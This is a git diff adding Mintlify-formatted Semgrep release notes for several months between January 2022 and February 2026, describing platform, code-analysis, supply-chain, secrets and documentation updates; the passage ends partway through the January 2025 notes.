+* The following versions of the OSS Engine were released in February 2024:
+
+
+
+
+
+
+
+
+
+
+## 🌐 Cloud Platform
+
+### Added
+
+- [ API](https://semgrep.dev/api/v1/#tag/Finding/operation/semgrep_app.core_exp.findings.handlers.issue.openapi_list_recent_issues): Added a `rule` object under `findings` with the following fields:
+ - `name`
+ - `message`
+ - `confidence`
+ - `category`
+ - `subcategories`
+ - `technologies`
+ - `vulnerability_classes`
+ - `cwe_names`
+ - `owasp_names` {/* 12868 */}
+- Added distinction between Pro engine and OSS findings in the Playground and Editor. {/* 12275 */}
+- Added support for the `linux-arm64` platform when you download Semgrep Pro Engine. {/* 12430 */}
+
+### Changed
+
+- Updated the Semgrep Cloud Platform (SCP) login page. {/* 12744 */}
+- Updated the login process from the CLI to SCP. This change affects new users. {/* 12531 */}
+- Updated the Semgrep installation instructions for Docker. {/* 12531 */}
+- Improved performance of Semgrep Playground and Editor. {/* 12461 */}
+
+### Fixed
+
+- Fixed a bug where the navigation sidebar covered the entire mobile screen and could not be collapsed. {/* 12876 */}
+- Scan summary links printed after users run `semgrep ci` now reflect a
+ custom `SEMGREP_APP_URL` if set.
+
+## 💻 Code
+
+### Added
+
+* Support for C and C++ is now generally available (GA), including cross-file and cross-function analysis.
+* Added new Pro rules for Elixir and the Phoenix framework, covering various security and correctness issues. These are available in the `p/elixir`
+ ruleset.
+* Added support for Python, with a focus on the Flask ecosystem, to the Semgrep
+ Pro Engine.
+* Added support for nested record patterns on the left-hand side of an
+ assignment during dataflow analysis. For example, given `{ body: { param } } =
+ tainted`, Semgrep correctly marks `param` as tainted.
+* The `metavariable-regex` operator can now match on metavariables of interpolated strings
+ that use variables with known values.
+* **Taint analysis**:
+ * Added support for Python constructors.
+ * Added support for index sensitivity. Semgrep tracks taint on individual
+ indexes of a data structure when these are constant values, either integers
+ or strings, and the code uses the built-in syntax for array indexing.
+ * Added `exact: false` as a `pattern-sources` sub-key so you can specify that anything inside a code region is a sink:
+ ```yaml
+ pattern-sources:
+ - exact: false
+ pattern: ...
+ ```
+ * When `exact: true` and `taint_assume_safe_functions: true`, Semgrep now
+ considers that, if the specified formula isn't a `patterns` with a
+ `focus-metavariable`, it must look for taint in the function call's arguments. For example:
+ ```yaml
+ ...
+ options:
+ taint_assume_safe_functions: true
+ pattern-sources:
+ - exact: false
+ pattern: ...
+ ```
+
+### Changed
+
+* Improved error handling during interfile analysis so Semgrep Code doesn't crash.
+* **CLI**: If there are multiple errors resulting from the user running Pro
+ rules without a license, the CLI groups all errors and reports a
+ single warning.
+* The project name for repositories scanned locally is `local_scan/`
+ instead of ``.
+* The **View Results** URL displayed for findings now includes the repository
+ and branch names.
+
+### Fixed
+
+* Fixed an issue with incorrect autofix application where multiple fixes were
+ applied to the same line.
+* Fixed issue where tokens for type parameter brackets weren't stored correctly.
+ They're now stored in the generic AST, allowing Semgrep to autofix
+ these constructs correctly.
+* Fixed an issue where Semgrep doesn't support multiple labels for taint
+ traces. Now, Semgrep looks at the `requires` of the sink, and if it has the
+ shape `A and ...`, it picks `A` as the preferred label and reports the
+ trace.
+* Fixed issue where taint signatures don't capture changes to parameter fields.
+
+## ⛓️ Supply Chain
+
+### Added
+
+* Added support for parsing Swift Package Manager manifest files and lock files.
+* Added the ability to filter for dependencies that Semgrep has commented on.
+* Added manual review advice to GitHub PR comments. Certain Semgrep Supply Chain (SSC) findings require **manual review** to verify if the finding is reachable or not. {/* 12907 */}
+
+### Fixed
+
+* Fixed issues with trailing newline parsing in `pyproject.toml` and
+ `poetry.lock` files.
+
+## 🔐 Secrets
+
+### Added
+
+- Added the following new rules:
+ - Detection rules for Azure and AWS
+ - Semantic secrets rules for Python, JavaScript, and TypeScript
+ - Semantic rules for hard-coded credentials in bash for `curl` commands
+- Added non-validator regex detection for databases, including MongoDB,
+ Microsoft SQL Server, MySQL, Postgres, and Redis
+- Added secrets rule management, which is accessible in Semgrep Cloud Platform
+ by going to **Rules** > **Policies** > **Secrets**. This allows you to:
+ - See all available rules
+ - Set valid finding modes for the rules
+ - Set invalid and error validation state modes across multiple rules
+
+### Fixed
+
+- Fixed an issue where the **Analysis method** filter in Semgrep Cloud Platform
+ wasn't filtering correctly.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- The Semgrep docs sidebar has been reorganized to help users browse through the docs.
+- Added a [series of guides](/deployment/core-deployment) to setting up Semgrep as part of a security program for your organization.
+- Added a guide to setting up a [network broker](/semgrep-ci/network-broker) that facilitates secure access between Semgrep and your private network.
+- Added [Experimental rules](/writing-rules/experiments/pattern-syntax) syntax reference.
+- Added the following knowledge base articles:
+ - [GitLab "Job's log exceeded limit" error](/kb/semgrep-ci/collect-gitlab-logs)
+ - [Set up Jenkins pipeline projects for Bitbucket repositories](/kb/semgrep-ci/bitbucket-jenkins)
+
+### Changed
+
+- Updated the links within the [GitLab CI/CD configuration file](/semgrep-ci/sample-ci-configs/#sample-gitlab-cicd-configuration-snippet).
+- Removed phone support from the docs.
+- Updated the [Semgrep-Slack integration docs](/semgrep-appsec-platform/slack-notifications) to clarify requirements for posting to private channels.
+- Updated the [sample GHA configuration file](/writing-rules/private-rules)for a CI job that publishes private Semgrep rules.
+- Clarified the Semgrep Assistant [privacy policy](/semgrep-multimodal/overview) on what data is stored.
+- Updated [Semgrep Pro versus OSS](/semgrep-pro-vs-oss) docs. {/* 1338 */}
+
+### Fixed
+
+- Fixed formatting on GitHub PR comments documentation. Thank you to [parsiya](https://github.com/parsiya) for the fix.
+- Various link fixes and Docker image updates.
+
diff --git a/mintlify-docs/release-notes/february-2025.mdx b/mintlify-docs/release-notes/february-2025.mdx
new file mode 100644
index 0000000000..fa26135b35
--- /dev/null
+++ b/mintlify-docs/release-notes/february-2025.mdx
@@ -0,0 +1,112 @@
+---
+title: "February 2025"
+description: "February 28, 2025 · 5 min read"
+rss: true
+---
+
+
+## 🌐 Semgrep AppSec Platform
+### Added
+
+- Semgrep Managed Scans for repositories hosted by **Bitbucket Cloud** is now in public beta.
+- You can now manage your projects' enrollment in Semgrep Managed Scans through the Semgrep API's `/project` and `/project/managed-scan` endpoints.
+- A new **My teams** view for managers is now in private beta. To join this beta, reach out to [ support@semgrep.com](mailto:support@semgrep.com). This view enables managers to view all the teams they are a manager of.
+
+### Changed
+
+- The Semgrep AppSec Platform-specific metadata fields `semgrep.dev:` and `semgrep.policy:` are now filtered from the JSON output if you aren't signed into your Semgrep account. See [Semgrep JSON and SARIF fields](/semgrep-appsec-platform/json-and-sarif#json) for more information.
+- The Semgrep Docker image has been updated to use Python 3.12 and OCaml 5.2.1.
+- **CLI**: The output generated from running `semgrep ci --help` no longer includes information about experimental features and flags.
+- **Jira**: Jira tickets for Supply Chain findings now display recommended versions of packages in the description.
+
+### Fixed
+
+- Fixed an issue in Semgrep Editor's Structure Mode where some of the larger language icons overlapped due to limited space.
+- Fixed an issue where the instruction links for adding a CI job all lead to GitHub-specific instructions.
+- Fixed an issue where the Median Open Age chart didn't display all relevant findings.
+- Fixed an issue where Semgrep scans did not complete if there were failures involving `git worktree remove`; instead of erring out, Semgrep completes the scan but logs the error.
+
+## 💻 Semgrep Code
+
+### Added
+
+- Added support for **Critical** severity level to denote the highest severity level for a Code finding. You can now filter by Critical severity level in Semgrep AppSec Platform, and you can filter for and identify rules that generate critical severity findings in the Semgrep Registry. {/* Copied this over from Secrets since these two notes are almost identical. */}
+ - Semgrep Pro rules, which are included in `p/default`, have been updated to use this new severity level.
+- New rules for JavaScript and TypeScript have been added to Semgrep's default ruleset, `p/default`. The new rules cover the OWASP Top 10 and the most popular server-side frameworks, like Express, NestJS, Hapi, and Koa.
+- Cross-file (interfile) analysis now processes JavaScript and TypeScript files together, so that dataflow can be tracked across both languages.
+
+### Changed
+
+- Improved detection for JavaScript and TypeScript dependency injection, import resolution, and dataflow through callbacks.
+- Upgrade from OCaml 4.14.0 to OCaml 5.2.1 for Semgrep PyPI and Homebrew distributions. Note that Docker images have been built with OCaml 5.2.1 since Semgrep 1.107.0.
+
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- You can now [configure policies](/semgrep-supply-chain/policies) for Supply Chain findings. These policies let you set certain conditions by which developers are notified of findings through a PR or MR comment, or potentially blocked from merging a PR or MR.
+ - For example, you can create a policy to block a PR or MR from merging when a reachable finding with an available fix (upgrade) is detected.
+ - Policies can have different scopes, which are the projects or project tags the policies are applied to.
+- Updated `Package.swift` parser to support the following:
+ - The URL value in a `.package` entry doesn't have to end with `.git`
+ - You can have an exact field that looks like `exact: "1.0.0"` instead of `.exact("1.0.0")`
+ - The exact version can be an object like `Version(1,2,3)` instead of a string
+ - You can have `.package` values with no URL, like this: `.package(name: "package", path: "foo/bar")`
+- Semgrep can now dynamically resolve dependencies for Python projects using pip, allowing it to determine transitive dependencies automatically.
+- Various parser updates for SwiftPM and Yarn.
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- Semgrep Assistant is now available for users with repositories hosted by Bitbucket Cloud and Azure DevOps.
+
+### Changed
+
+- Extended the amount of time you see the error message shown if Assistant can't parse or save a memory you provide. This error message includes a link to edit the memory.
+
+### Fixed
+
+- Fixed an issue with the Assistant Analyze button on Semgrep Code's Findings page hiding after analysis.
+- Fixed an issue where remediation guidance included secret key values if present in the source code.
+
+## 🔐 Semgrep Secrets
+
+### Added
+
+- Added support for **Critical** severity level to denote the highest severity level for a Secrets finding. You can now filter by Critical severity level in Semgrep AppSec Platform, and you can filter for and identify rules that generate critical severity findings in the Semgrep Registry.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added the following new documents, articles, and sections:
+ - [View Semgrep findings in Wiz's Security Graph](/semgrep-appsec-platform/wiz).
+ - [JavaScript frameworks and analyses](/languages/javascript).
+ - [Triage findings through PR comments with repositories hosted by Azure DevOps and Bitbucket Cloud](/semgrep-code/triage-remediation#triage-findings-through-pr-and-mr-comments).
+
+### Changed
+
+- Major updates to the following documents and sections:
+ - [Add support for a new language](/contributing/adding-a-language).
+ - %%Semgrep Registry|registry_semgrep_registry%% and [Semgrep FAQ](/faq/overview).
+ - [Semgrep Supply Chain Policies](/semgrep-supply-chain/policies).
+- Minor clarifications involving:
+ - Network Broker usage.
+ - Required scopes for Managed Scans of Azure DevOps repositories.
+ - Semgrep's Jira integration.
+ - Supported languages.
+- Reorganization of Semgrep Assistant documentation.
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in February 2025:
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/february-2026.mdx b/mintlify-docs/release-notes/february-2026.mdx
new file mode 100644
index 0000000000..20057a88f6
--- /dev/null
+++ b/mintlify-docs/release-notes/february-2026.mdx
@@ -0,0 +1,126 @@
+---
+title: "February 2026"
+description: "March 6, 2026 · 4 min read"
+rss: true
+---
+
+The following updates were made to Semgrep in February 2026.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- **CLI**:
+ - Added the `--x-mem-policy` flag to configure the OCaml garbage collector. Options are **aggressive** (the default), which uses less memory at the cost of longer scan times, or **balanced**, which compromises heap memory reclaiming while limiting how often the garbage collector runs. This flag is available only for Pro users.
+- **MCP**:
+ - Hooks for both Claude Code and Cursor now pull custom rules from the Semgrep Registry.
+ - Enabled DNS rebinding protection for the MCP server.
+
+### Changed
+
+- Improved the accuracy of taint tracking through assignments, which helps reduce the number of false positive findings.
+- The **Network Broker** configuration screen now allows only one public key, preventing users from adding multiple keys, which Semgrep does not support.
+- The CWE tooltip message on a finding's **Details** page now displays the CWE name associated with the finding instead of a generic CWE name.
+- Improved the performance of **Findings** page filters.
+- Minor cosmetic changes to the **Findings** page.
+- **CLI**:
+ - Bumped `glom` to version 23.3.
+ - The CLI waits longer before retrying a request if it receives a HTTP `429` or `5xx` response from Semgrep.
+ - Minor cosmetic changes to the **Scan Summary** section of the Semgrep CLI response.
+ - Blocking findings are now labelled in the CLI response.
+
+### Fixed
+- Fixed an issue where claiming a license caused Semgrep AppSec Platform to crash.
+- Fixed an issue where the **Projects** page didn't display findings counts if the previous scan failed.
+- Fixed an issue where the Semgrep Editor crashed when viewing metadata for select rules.
+- Fixed an issue where Semgrep returned more false negatives when the maximum number of fields to track per object was reached during scans.
+- Fixed an issue that allowed authors of pull requests or merge requests to update project tags by changing the `.semgrepconfig.yml` file. Project tags can now be updated only on full scans.
+- **CLI**: fixed an issue where Semgrep printed info log lines when `--trace` was passed, but not `--debug`.
+
+## 💻 Semgrep Code
+
+### Added
+
+- Added experimental support for the OpenFGA authorization language.
+- Added support for case-insensitive string comparisons using `lower()` and `upper()`:
+ ```yaml
+ - metavariable-comparison:
+ metavariable: $VALUE
+ comparison: upper(str($VALUE)) == "SEMGREP"
+ ```
+- Scala: added taint flow support for `for-yield`:
+ ```scala
+ def test(x: X) = {
+ for {
+ y <- foo(x)
+ z <- bar(y)
+ } yield {
+ z
+ }
+ }
+ ```
+
+### Fixed
+
+- Scala: fixed a parsing issue where subsequent calls in an implicit block weren't considered to be in the same scope:
+ ```scala
+ def f (a: t) =
+ foo()
+ bar()
+ ```
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- You can now pass environmental variables to third-party package managers using `SEMGREP_LOCAL_BUILD_ENV`, which accepts a JSON object, as part of the dependency resolution process invoked by `--allow-local-builds`.
+
+### Changed
+
+- The **CVE links** on the Supply Chain **Findings** page now link to specific **Advisories** pages instead of a general NIST definition of the security issue.
+
+### Fixed
+
+- Fixed an issue that prevented the **Enable Supply Chain** toggle from working.
+- Fixed an issue that prevented the **Dependency** filter on the Supply Chain **Findings** page from returning all results.
+
+## 🤖 Semgrep Assistant
+
+### Changed
+
+- The feedback dialog for auto-triage now allows you to provide comments in addition to selecting whether you agree or disagree with the recommendation.
+
+### Fixed
+
+- Added the following missing values to the **Findings** pages' **Assistant file risk level** filter: `High risk > cryptography`, `Low risk > observability`, and `Low risk > sample code`.
+
+## 🔐 Semgrep Secrets
+
+### Fixed
+
+- Fixed an issue where custom secrets couldn't be added to a policy if multiple policies are active.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added information:
+
+
+
+
+
+### Changed
+
+- Major updates to [Usage and billing](/usage-and-billing/overview).
+- Reorganized the [Supported languages](/supported-languages) information.
+
+## 🔧 OSS Engine
+
+- The following versions of the OSS Engine were released in February 2026:
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/release-notes/january-2022.mdx b/mintlify-docs/release-notes/january-2022.mdx
new file mode 100644
index 0000000000..d1a5cae1fe
--- /dev/null
+++ b/mintlify-docs/release-notes/january-2022.mdx
@@ -0,0 +1,73 @@
+---
+title: "January 2022"
+description: "January 30, 2022 · 1 min read"
+rss: true
+---
+
+
+## Version 0.80.0
+
+### Additions
+
+#### Autocomplete
+
+Autocomplete is now available for CLI options.
+
+#### Dockerfile
+
+Support for Semgrep's metavariables where argument expansion is already supported. ([#4556](https://github.com/semgrep/semgrep/pull/4556))
+
+### Changes
+
+#### Ruby
+
+You can now use an atom to match an identifier of the same name. ([#4550](https://github.com/semgrep/semgrep/issues/4550))
+
+### Fixes
+
+#### Missing target file does not lead to Semgrep crash
+
+Before this update, handling a missing target file could crash Semgrep. This issue has been fixed. ([#4462](https://github.com/semgrep/semgrep/issues/4462))
+
+### Additional information
+
+To see the complete change notes, visit the [Semgrep changelog](https://github.com/semgrep/semgrep/releases/tag/v0.80.0).
+
+## Version 0.79.0
+
+### Additions
+
+#### Ignoring code
+
+Support for placing nosemgrep comments on the line before a match, causing such match to be ignored ([#3521](https://github.com/semgrep/semgrep/issues/3521)).
+
+### Changes
+
+#### Verbose output
+
+Parse errors (reported with `--verbose`) appear once per file, not once per rule/file.
+## Version 0.78.0
+
+### Additions
+
+#### Symbolic propagation
+
+Semgrep can now symbolically propagate simple definitions. For example, given
+an assignment `x = foo.bar()` followed by a call `x.baz()`, Semgrep will keep track of `x`'s definition, and it will successfully match `x.baz()` with a pattern like `foo.bar().baz()`. This feature should help writing simple yet powerful rules, by letting the dataflow engine take care of any intermediate assignments. Symbolic propagation is still experimental and is disabled by default. It must be enabled on a per-rule basis using `options:` and setting `symbolic_propagation: true`. ([#2783](https://github.com/semgrep/semgrep/issues/2783), [#2859](https://github.com/semgrep/semgrep/issues/2859), [#3207](https://github.com/semgrep/semgrep/issues/3207))
+
+#### Verbose output
+
+`--verbose` now outputs a timing and file breakdown summary at the end.
+
+#### Metavariables
+
+`metavariable-comparison` now handles metavariables that bind to arbitrary constant expressions (instead of just code variables).
+
+#### Dockerfile
+
+Pre-alpha support for Dockerfile as a new target language.
+
+### Additional information
+
+To see the complete change notes, visit the [Semgrep changelog](https://github.com/semgrep/semgrep/releases/tag/v0.78.0).
+
diff --git a/mintlify-docs/release-notes/january-2023.mdx b/mintlify-docs/release-notes/january-2023.mdx
new file mode 100644
index 0000000000..65568cb9f7
--- /dev/null
+++ b/mintlify-docs/release-notes/january-2023.mdx
@@ -0,0 +1,99 @@
+---
+title: "January 2023"
+description: "January 30, 2023 · 5 min read"
+rss: true
+---
+
+
+## Semgrep Supply Chain
+
+### Additions
+
+- Added a new **Exposure** category called **Not analyzed** within **Semgrep App > Vulnerabilities** page. Users who have enabled **Historical coverage** rules now see vulnerabilities detected from those rules under **Not analyzed**. This is because Historical coverage rules do not have reachability patterns, therefore it is not known if their findings are reachable or unreachable.
+- The **Semgrep App** > **Advisories** page displays a new tag, **Reachability: review manually** for rules where the reachability of a finding depends on infrastructure usage patterns, instead of code patterns. Findings that appear from these rules appear under **Exposure > Reachable** within **Semgrep App > Vulnerabilities**, and include a short hint on how to determine if your infrastructure is vulnerable.
+
+ 
+
+- You can now give feedback for **Supply Chain** rules. In the **Semgrep App > Advisories** page, click on an advisory to expand on it and click on the **Leave feedback for this rule** button.
+
+ 
+
+- Added `exposure` property to SARIF output for Semgrep Supply Chain findings.
+
+### Changes
+
+- The **Semgrep App > Vulnerabilities** now lets you filter by whether a vulnerability is from a direct or a transitive dependency. You can find these options under the **Transitivity** filter in the Semgrep App > Vulnerabilities page. All options are selected by default.
+- Lockfile parsers have been rewritten to be able to provide with improved error messages upon parse errors. This affects all supported ecosystems except Rust.
+- Removed support for reading dependencies from `pom.xml` files. Instead, Semgrep Supply Chain reads dependencies from `maven_dep_tree.txt` files, which can be generated using the following command:
+ `mvn dependency:tree -DoutputFile=maven_dep_tree.txt`
+ - You must generate a maven_dep_tree.txt for every `pom.xml` in your repository.
+
+## Semgrep App
+
+### Additions
+
+- Display findings grouped together by rules that detected them! Group by rule view helps you to identify patterns in your code and to triage findings easily. Findings grouped by rule are sorted by count from high to low. This enables you to know which rules have fired the most. In comparison, regularly grouped findings are sorted by their recency (most recent findings are at the top of the Findings page).
+
+ 
+
+- Semgrep API now allows you to add or remove tags to a project. See [Tagging projects](/semgrep-appsec-platform/tags) documentation.
+
+### Changes
+
+- The findings detail page has received a facelift. This update is preparing the ground for future updates and features. The following list provides an overview of the implemented improvements:
+ - New read-only rule preview component at the bottom of the page to view the rule and test cases.
+ - The interface is now standardized with the rest of the Findings page, showing information about the location of the finding under the heading.
+ - New rule information card component that displays information about the rule. This information includes any references and information about the rule severity and confidence.
+
+ 
+
+- Previously, new users who logged into Semgrep App using GitLab landed on a GitLab Groups page. Users then had to enable the GitLab groups they wanted to onboard, then users had to log out of Semgrep App and then log back in to complete the onboarding process. Now, new users are immediately logged in to Semgrep App.
+ - In order to associate their Semgrep account with their GitLab Groups, users need to use the GitLab “Add Org” workflow, which brings them to the GitLab Groups page. This change also addresses a bug when enabling a GitLab Group that would cause the app to crash.
+
+## Semgrep CLI
+
+These release notes include upgrades for versions ranging between 1.3.0 and 1.6.0.
+
+### Additions
+
+- Semgrep now provides experimental support for XML, Clojure, Lisp, Scheme, Dart, and Jsonnet languages.
+- Rust language support is now improved from Experimental to Beta!
+- Python: Constant propagation now recognizes the idiom `cond and X or Y`,
+as well as `True and X` and `False or X`. For example, `cond and "a" or "b"` is identified as constant string. (Issue [#6079](https://github.com/semgrep/semgrep/issues/6079))
+
+### Changes
+
+- Tests: Allow `-test` to process entire file trees rather than single files. See more information about the `semgrep --test` in the [Testing rules](/writing-rules/testing-rules) documentation. (Issue [#5487](https://github.com/semgrep/semgrep/issues/5487))
+- metavariable-pattern: For performance reasons the [generic mode](/writing-rules/generic-pattern-matching) ignores target files that are machine-generated. However, this change prevented the use of the `metavariable-pattern` operator on the text that seemed or was machine-generated, such as an RSA key contained in a file. This issue has been fixed. Now, when the analysis is requested within a `metavariable-pattern` operator, the generic mode always matches any text even if it seems to be machine-generated.
+
+## Semgrep Registry
+
+### Changes
+
+- Semgrep Registry now displays gem icons on Team tier rules, and rulesets that contain Team tier rules.
+
+## Documentation updates
+
+### Additions
+
+- Cheat sheets have been revisited, added, improved, and rewritten:
+ - Added a new [XML External entity (XXE) prevention for Java](/cheat-sheets/java-xxe) cheat sheet.
+ - Added new command and code injection cheat sheets:
+ - [Code injection prevention for Java](/cheat-sheets/java-code-injection).
+ - [Command injection prevention for Java](/cheat-sheets/java-command-injection).
+ - [Code injection prevention for JavaScript](/cheat-sheets/javascript-code-injection).
+ - [Command injection prevention for JavaScript](/cheat-sheets/javascript-command-injection).
+ - [Code injection prevention for Ruby](/cheat-sheets/ruby-code-injection).
+ - [Command injection prevention for Ruby](/cheat-sheets/ruby-command-injection).
+ - Many other cheat sheets (such as [Command injection prevention for Go](/cheat-sheets/go-command-injection)) now have updated examples and were enriched by other improvements.
+- Added a new document on how to set up [notifications for Semgrep Supply Chain](/semgrep-appsec-platform/notifications) scans.
+- Added a new section [Transform](/writing-rules/experiments/deprecated-experiments#transform) to the Extract mode documentation.
+
+### Changes
+
+- Updated Getting started with Semgrep Supply Chain with additional information on scanning [Maven projects](/semgrep-supply-chain/setup-maven).
+- Updated documentation of Semgrep App [Findings](/semgrep-code/findings) with fresh screenshots.
+- Updated Supported languages with [additional information on transitivity](/supported-languages#semgrep-supply-chain).
+- Updated Semgrep App’s [Tagging](/semgrep-appsec-platform/tags) documentation.
+- Updated [Getting started with Semgrep CLI](/getting-started/quickstart).
+
diff --git a/mintlify-docs/release-notes/january-2024.mdx b/mintlify-docs/release-notes/january-2024.mdx
new file mode 100644
index 0000000000..d7723a2d5f
--- /dev/null
+++ b/mintlify-docs/release-notes/january-2024.mdx
@@ -0,0 +1,134 @@
+---
+title: "January 2024"
+description: "January 30, 2024 · 4 min read"
+rss: true
+---
+
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in January 2024:
+
+
+
+
+
+
+
+
+
+
+## 🌐 Cloud Platform
+
+### Added
+
+* Semgrep's Visual Studio Code extension now runs natively on Windows machines.
+* Added ability for organizations to test connections to GitHub and GitLab by going to
+ **Settings** > **Source Code Managers**.
+* Projects are now moved from the **Scanning** to **Not scanning** tab when the
+ corresponding GitHub repository is archived.
+* **CLI tool**:
+ * Added color-coded severity icons, such as `❯❯❱`, to the CLI
+ output for findings of known severity.
+ * Metrics sent from the CLI and collected by Semgrep now include a breakdown of the number
+ of findings per product.
+ * Rules stored under a hidden directory, such as
+ `dir/.hidden/myrule.yml`, are now processed when scanning with the `--config`
+ flag.
+
+### Changed
+
+* Renamed the **Upgrade** page to **Usage & billing**.
+* Redesigned the **Settings** > **Source Code Managers** page; changes include:
+ * Renamed the **Remove SCM config** button to **Disconnect**.
+ * Set the **Remove app** button to only show up for registered GitHub apps.
+* Improved the page load times for the **Settings** > **Source Code Managers**
+ page, especially for organizations with many source code managers connected.
+* Updated de-duplication logic for users with multiple source code managers.
+
+### Fixed
+
+* Fixed an issue where paid subscribers couldn't submit support cases through
+ the **Help** page.
+* **CLI tool**:
+ * Fixed an issue where multi-line comments in Dockerfiles weren't
+ parsed correctly.
+ * Fixed an issue where Semgrep used `/tmp` instead of the path set
+ in the `TMPDIR` environment variable for the Semgrep cache.
+ * Fixed an issue where Semgrep would error on reading a
+ `nosemgrep` comment with multiple rule IDs.
+
+## 💻 Code
+
+### Added
+
+- **Swift**: Now supports typed metavariables, such as `($X : ty)`.
+- **Java**: You can now use metavariable ellipses properly in function arguments, as statements, and as expressions. For instance, you may write the pattern:
+ ```
+ public $F($...ARGS) { ... }
+ ```
+- **C++ with Semgrep Pro Engine**: Improved translation of delete expressions to the dataflow so that
+recently added at-exit sinks work on them. Previously, delete expression at "exit" positions were not being properly recognized as such.
+
+### Changed
+
+- Improved loading times for **Dashboard** and **Findings** pages.
+- Redesigned the **Findings** page to display issues present on multiple branches,
+ regardless of which branch is used as a filter.
+
+### Fixed
+
+- **Editor**: Fixed a bug where the editor could crash due to rules having more than one metadata subcategory.
+- Fixed a bug in which **open** findings were counted differently between the **Code** and **Dashboard** pages in Semgrep Cloud Platform. The counts now match.
+- **Findings** page:
+ - Fixed a bug in which leaving a note automatically triaged a finding. Now, the state of the finding does not change when a user leaves a note.
+ - Fixed a bug in which **fixed** findings were triagable despite their already fixed state through the rule group checkbox. Now these findings are not triagable.
+ - Fixed an issue where hovering over the Assistant's **Analyze** button caused the window to jitter.
+
+## ⛓️ Supply Chain
+
+### Added
+
+* Added ability to manually create custom dependency exceptions under **Supply
+ Chain** > **Settings**. This helps prevent blocking a pull request or merge
+ request due to licensing issues. For example, if `bitwarden/cli@2023.9.0`,
+ which has a GPL-3.0 license, is on the allowlist, setting a custom dependency
+ exception means that the exclusion won't fail when upgrading to
+ `bitwarden/cli@2023.9.1`.
+
+### Changed
+
+- **Vulnerabilities page**: Improved filtering performance.
+- Software bill of materials (SBOM) generation is now generally available (GA).
+- The **Dependencies** tab is now GA.
+
+### Fixed
+
+* Fixed an issue where Semgrep couldn't parse a Pipfile correctly if it had a
+ `[dev-packages]` section.
+* Fixed a bug where `Gemfile.lock` files with multiple `GEM` sections weren't parsed correctly.
+
+## 🔐 Secrets (beta)
+
+### Fixed
+
+- Fixed a bug with custom secrets rules in which rule visibility could be set to `unlisted`. Now, to protect the privacy of secrets rules, users cannot set Secrets rules to any other visibility except for **private**.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added [legal information](/semgrep-multimodal/privacy) about Semgrep Assistant.
+- Added documentation about Semgrep Assistant's Component and Recommendation filters.
+- Knowledge base articles:
+ - Troubleshoot why [SAML stops working](/kb/semgrep-appsec-platform/saml-stops-working)
+ - [Troubleshooting "You are seeing this because the engine was killed" on monorepos](/kb/semgrep-code/scan-engine-kill)
+- Added guidance on running Semgrep Supply Chain scans [in the CLI](/semgrep-supply-chain/getting-started/#run-a-scan-using-the-cli ).
+
+### Changed
+
+- Updated the Semgrep Supply Chain [languages table](/supported-languages/#semgrep-supply-chain) to clarify that **lockfile-only** languages do not have reachable rules.
+- Updated documentation on event triggers for diff-aware and full scans. {/* 1316 */}
+- Updated [Licensing](/licensing) documentation for Semgrep Supply Chain and Semgrep Secrets.
+- Updated the [Findings](/semgrep-code/findings) documentation page.
+
diff --git a/mintlify-docs/release-notes/january-2025.mdx b/mintlify-docs/release-notes/january-2025.mdx
new file mode 100644
index 0000000000..f588da99c7
--- /dev/null
+++ b/mintlify-docs/release-notes/january-2025.mdx
@@ -0,0 +1,128 @@
+---
+title: "January 2025"
+description: "January 30, 2025 · 5 min read"
+rss: true
+---
+
+
+## 🌐 Semgrep AppSec Platform
+
+- The **Policy Management API** is now generally available. The Policy Management API allows you to automate tasks such as:
+ - Add, update, and disable rules across multiple policies.
+ - Apply rules in different modes, such as monitor, comment, block, or disable, to align with security workflows.
+ - Integrate policy management into CI/CD pipelines to ensure consistent enforcement during software development.
+- **Semgrep Managed Scans:**
+ - Managed scans for repositories hosted by **Azure DevOps** is now in public beta.
+ - GitHub users can turn on or off full scans and diff-aware scans for individual projects scanned by Semgrep Managed Scans.
+- **Jira:** added the ability to map the **Team** information back to Semgrep.
+- Org admins can now invite new users to Semgrep by email. Invited users receive an email with instructions on how to join the organization's Semgrep account.
+- Added pagination to the **Settings > Access > Members** page, as well as the ability to search for members.
+
+## Changed
+
+- The **search bar** in the **Projects** page now loads faster.
+- Links to the **Project Settings** and **Scans** pages now use project IDs instead of project names. Existing links using project names continue to function normally.
+
+## Fixed
+
+- Fixed an issue where commands not prefixed with `/semgrep` or `/` weren't correctly handled.
+- Fixed an issue where reports generated by Semgrep AppSec Platform weren't correctly displaying the age of findings.
+- Fixed an issue where the first page of Bitbucket Data Center repositories wasn't displayed.
+- Fixed the formatting of Bitbucket Cloud PR comments.
+
+## 💻 Semgrep Code
+
+### Added
+
+- Added support for lambdas (anonymous functions) as callbacks. This is supported for all languages that have lambdas.
+ ```javascript
+ var tainted = source();
+
+ function withCallback1(val, callback) {
+ if (val) {
+ callback(val);
+ }
+ }
+
+ withCallback1(tainted, function (val) {
+ sink(val); // finding !
+ });
+ ```
+
+### Changed
+
+- Removed **pip** from the Semgrep Docker image. If necessary, you can install it by running `apk add py3-pip`.
+
+### Fixed
+
+- The `semgrep test` and `semgrep validate` commands have been correctly documented as **EXPERIMENTAL** in `semgrep --help`.
+ - Those commands are not GA. It is recommended to use the `semgrep scan --test` and `semgrep scan --validate`.
+- Improve error handling for capabilities ancillary to a scan, such as looking for `nosemgrep` comments and rendering autofixes, to reduce the likelihood of an unexpected error in such a component causing the scan to error.
+- Fix the behavior of Semgrep when running into broken symlinks. If such a path is passed explicitly as a scan root on the command line, it results in an error. Otherwise, if it's a file discovered while scanning the file system, it's a warning.
+- Fixed an issue with crashes due to an exception in `lines_of_file`. The code should now be more robust and not stop the whole scan when an out-of-bound line access happens during `nosemgrep` analysis or when displaying the lines of a match.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- [Dependency Paths](/semgrep-supply-chain/dependency-search#view-the-dependency-path) are now available in **public beta** for the following languages and package managers:
+ - **JavaScript**: npm, pnpm, and yarn are supported.
